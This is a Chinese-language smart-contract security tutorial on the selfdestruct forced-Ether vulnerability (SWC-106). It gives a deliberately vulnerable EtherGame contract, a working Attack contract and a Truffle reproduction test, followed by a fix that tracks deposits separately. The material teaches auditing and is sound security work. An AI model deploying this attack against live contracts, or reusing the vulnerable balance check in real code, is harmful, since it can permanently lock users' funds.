自毁函数 Self Destruct
自毁函数 由以太坊智能合约提供,用于销毁区块链上的合约系统。当合约执行自毁操作时,合约账户上剩余的以太币会发送给指定的目标,然后其存储和代码从状态中被移除。然而,自毁函数也是一把双刃剑,一方面它可以使开发人员能够从以太坊中删除智能合约并在紧急情况下转移以太币。另一方面自毁函数也可能成为攻击者的利用工具,攻击者可以利用该函数向目标合约“强制转账”从而影响目标合约的正常功能(比如开发者使用 address(this).balance 来取合约中的代币余额就可能会被攻击)。
漏洞代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
contract EtherGame {
uint public targetAmount = 7 ether;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
问题分析
这里问题在于使用 address(this).balance
,作为取合约中的代币余额。如果合约中的代币余额大于 balance <= targetAmount
那这个游戏将永远没有赢家,这个余额也无法取出。原因是 solidity
中有很多可以转账的操作例如:
transfer :转账出错会抛出异常后面代码不执行;
send :转账出错不会抛出异常只返回 true/false
后面代码继续执行;
call.value().gas()() :转账出错不会抛出异常只返回 true/false
后面代码继续执行,且使用 call
函数进行转账容易发生重入攻击
selfdestruct :自毁函数不需要接受就能给合约强制转账的函数。
向这里可以使用 selfdestruct
强制向合约转账。
攻击合约
contract Attack {
EtherGame etherGame;
constructor(EtherGame _etherGame) {
etherGame = EtherGame(_etherGame);
}
function attack() public payable {
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
}
基于以上分析写出攻击合约,攻击合约在部署时传入要攻击的EtherGame
合约地址,在attack
方法中将etherGame
的合约地址作为转账地址,并将地址放入到selfdestruct
中。当通过Attackselfdestruct
向etherGame
合约强行转一定额度账使其大于或者等于7 ether
,下次用户执行时将不会触发winner = msg.sender;
这个语法。
攻击复现
执行步骤
{hide}
1、创建项目文件夹,并在文件夹中初始化truffle
项目
truffle init
2、将EtherGame.sol
合约导入
3、在migrations
文件夹下创建合约迁移文件
const EtherGame = artifacts.require("EtherGame");
const Attack = artifacts.require("Attack");
module.exports = async function(deployer,network,accounts){
await deployer.deploy(EtherGame);
await deployer.deploy(Attack,EtherGame.address);
}
4、在test
文件夹下编写测试代码
const EtherGame = artifacts.require("EtherGame");
const Attack = artifacts.require("Attack");
contract("Test EtherGame",async (accounts)=>{
it("Attack EtherGame",async ()=>{
const EtherGameDeploy = await EtherGame.deployed()
const AttackDeploy = await Attack.deployed()
// 先向合约转入6笔交易
for(var i = 0 ; i<6;i++){
await EtherGameDeploy.deposit({value:web3.utils.toWei("1","ether"),from:accounts[0]})
}
// 攻击者强行转入 1 余额
AttackDeploy.attack({value:web3.utils.toWei("1","ether"),from:accounts[1]})
try{
await EtherGameDeploy.claimReward({from:accounts[1]})
}catch(err){
console.log("攻击者无法取出")
}
})
})
这里写了个样例代码,步骤意思为:
1)【1-2行】引入合约。
2)【4-5行】创建测试合约组和单项测试用例。
3)【 6 行】部署EtherGame
合约(可以不写没有实际作用)。
4)【 7 行】部署Attack
合约。
5)【 9-11 行】写一个for
循环循环6
次,使用EtherGame
的deposit
方法向合约转账共6 ether
6)【 13 行】攻击者执行 Attack
合约的attack
方法并转入1 ether
7)【 16 行】攻击者执行EtherGame
合约中的claimReward
方法尝试取出合约账户余额
5、运行truffle测试
truffle test
结果
这里最后攻击者转入合约1 ether
,也无法取出合约账户的余额,其他人也无法取出,漏洞复现成功。
漏洞修补
合约可以被攻击者攻击是因为依赖了 address(this).balance
来获取合约中的余额且这个值可以影响业务逻辑,所以我们这里可以设置一个变量 balance
,只有玩家通过 EtherGame.deposit
成功向合约打入以太后 balance
才会增加。这样只要不是通过正常途径进来的以太都不会影响我们的 balance
了,避免强制转账导致的记账错误
修补过程
1、在合约状态变量中新增 balance
变量
2、修改deposit
方法中 balance
逻辑代码
3、修改claimReward
方法中value
转入的值的逻辑代码
4、修改测试逻辑
添加两行,用户先向合约中存入1 ether
再调用clainReward
方法取出余额
5、执行测试
执行成功未被clainReward
回退,攻击者转入强转余额后也无法取出余额。
项目文件
{abtn icon="fa-cloud-download" color="#2e7fff" href="https://blog.dfcraft.cn/usr/uploads/2023/12/2366369877.tar" radius="5px" content="项目下载"/}
参考文章
{card-list}
{card-list-item}
智能合约安全审计入门篇 —— 自毁函数 | 登链社区 | 区块链技术社区
{/card-list-item}
{card-list-item}
Solidity by Example
{/card-list-item}
{card-list-item}
SWC-106 - Smart Contract Weakness Classification (SWC)
{/card-list-item}
{/card-list}
{/hide}